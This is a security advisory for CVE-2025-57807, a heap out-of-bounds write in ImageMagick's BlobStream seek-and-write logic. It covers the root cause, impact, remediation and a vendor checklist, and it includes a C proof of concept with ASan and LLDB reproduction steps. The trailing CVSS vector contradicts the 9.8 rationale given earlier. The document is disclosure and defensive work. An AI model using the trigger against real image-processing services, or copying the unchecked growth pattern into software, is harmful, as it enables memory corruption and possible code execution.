Vulnerability Database

296,137

Total vulnerabilities in the database

CVE-2025-57807

Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution


Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.


Affected Scope

  • Versions confirmed: 7.1.2-0, 7.1.2-1

  • Architectures: Observed on macOS arm64; architecture-agnostic on LP64

  • Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()).

  • Not required: External delegates; special policies; integer wraparound


Technical Root Cause

Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*

Contract mismatch:

  • SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.

  • WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:

    q = data + (size_t)offset; memmove(q, src, length);

    There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extentq is beyond the allocation.

Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.


Exploitability & Reachability

  • Primitive: Controlled bytes written at a controlled displacement from the buffer base.

  • Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.

  • Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.


Impact Assessment

  • Integrity: High - adjacent object/metadata overwrite plausible.

  • Availability: High - reliably crashable (ASan and non-ASan).

  • Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.

  • RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.


CVSS v3.1 Rationale (9.8)

  • AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.

  • AC:L - a single forward seek + write suffices; no races or specialized state.

  • S:U - corruption localized to the ImageMagick process.

  • C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.


Violated Invariant

> Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.


Remediation (Principle)

In WriteBlob() (BlobStream case):

  1. Checked requirement:
    need = (size_t)offset + length; → if need &lt; (size_t)offset, overflow → fail.

  2. Ensure capacity ≥ need:
    target = MagickMax(extent + quantum + length, need);
    (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)

  3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

  • Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.

  • Centralize blob arithmetic in checked helpers.

  • Unit tests: forward-seek-then-write (success and overflow-reject).


Regression & Compatibility

  • Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).

  • Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.


Vendor Verification Checklist

  • Reproduce with a minimal in-memory BlobStream harness under ASan.

  • Apply fix; verify extent ≥ offset + length at all write sites.

  • Add forward-seek test cases (positive/negative).

  • Audit other growth sites (SetBlobExtent, stream helpers).

  • Clarify BlobStream seek semantics in documentation.

  • Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.


PoC / Reproduction / Notes

Environment

  • OS/Arch: macOS 14 (arm64)

  • Compiler: clang-17 with AddressSanitizer

  • ImageMagick: Q16-HDRI

  • Prefix: ~/opt/im-7.1.2-0

  • pkg-config: from PATH (no hard-coded /usr/local/...)


Build ImageMagick 7.1.2-0 (static, minimal)

./configure --prefix=&quot;$HOME/opt/im-7.1.2-0&quot; --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j&quot;$(sysctl -n hw.ncpu)&quot; make install &quot;$HOME/opt/im-7.1.2-0/bin/magick&quot; -version &gt; magick_version.txt

Build & Run the PoC (memory-backed BlobStream)

poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

// poc.c #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;MagickCore/MagickCore.h&gt; #include &lt;MagickCore/blob.h&gt; #include &quot;MagickCore/blob-private.h&quot; int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue); ExceptionInfo *e = AcquireExceptionInfo(); ImageInfo *ii = AcquireImageInfo(); Image *im = AcquireImage(ii, e); if (!im) return 1; // 1-byte memory blob → BlobStream unsigned char *buf = (unsigned char*) malloc(1); buf[0] = 0x41; AttachBlob(im-&gt;blob, buf, 1); // type=BlobStream, extent=1, offset=0 SetBlobExempt(im, MagickTrue); // don&#039;t free our malloc&#039;d buf // Step 1: write 1 byte (creates BlobInfo + sets offset=1) unsigned char A = 0x42; (void) WriteBlob(im, 1, &amp;A); fprintf(stderr, &quot;[+] after 1 byte: off=%lld len=%zu\n&quot;, (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 2: seek way past end without growing capacity const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB (void) SeekBlob(im, big, SEEK_SET); fprintf(stderr, &quot;[+] after seek: off=%lld len=%zu\n&quot;, (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 3: small write → reallocation grows by quantum+length, not to offset+length // memcpy then writes to data + offset (OOB) const unsigned char payload[] = &quot;PWN&quot;; (void) WriteBlob(im, sizeof(payload), payload); // If we get here, it didn&#039;t crash fprintf(stderr, &quot;[-] no crash; check ASan flags.\n&quot;); (void) CloseBlob(im); DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e); MagickCoreTerminus(); return 0; }

run:

# Use the private prefix for pkg-config export PKG_CONFIG_PATH=&quot;$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH&quot; # Strict ASan for crisp failure export ASAN_OPTIONS=&#039;halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0&#039; # Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI) # Execute and capture ./poc 2&gt;&amp;1 | tee asan.log

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:&lt;line&gt;, then _platform_memmove / __sanitizer_internal_memmove).


Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image-&gt;blob-&gt;type image-&gt;blob-&gt;offset image-&gt;blob-&gt;length image-&gt;blob-&gt;extent image-&gt;blob-&gt;quantum image-&gt;blob-&gt;mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image-&gt;blob-&gt;type image-&gt;blob-&gt;offset image-&gt;blob-&gt;length image-&gt;blob-&gt;extent image-&gt;blob-&gt;quantum image-&gt;blob-&gt;mapped (lldb) expr -- (unsigned long long)image-&gt;blob-&gt;offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image-&gt;blob-&gt;data + (size_t)image-&gt;blob-&gt;offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image-&gt;blob-&gt;offset image-&gt;blob-&gt;length image-&gt;blob-&gt;extent image-&gt;blob-&gt;quantum

Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.


Credits

Reported by: Lumina Mescuwa


CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L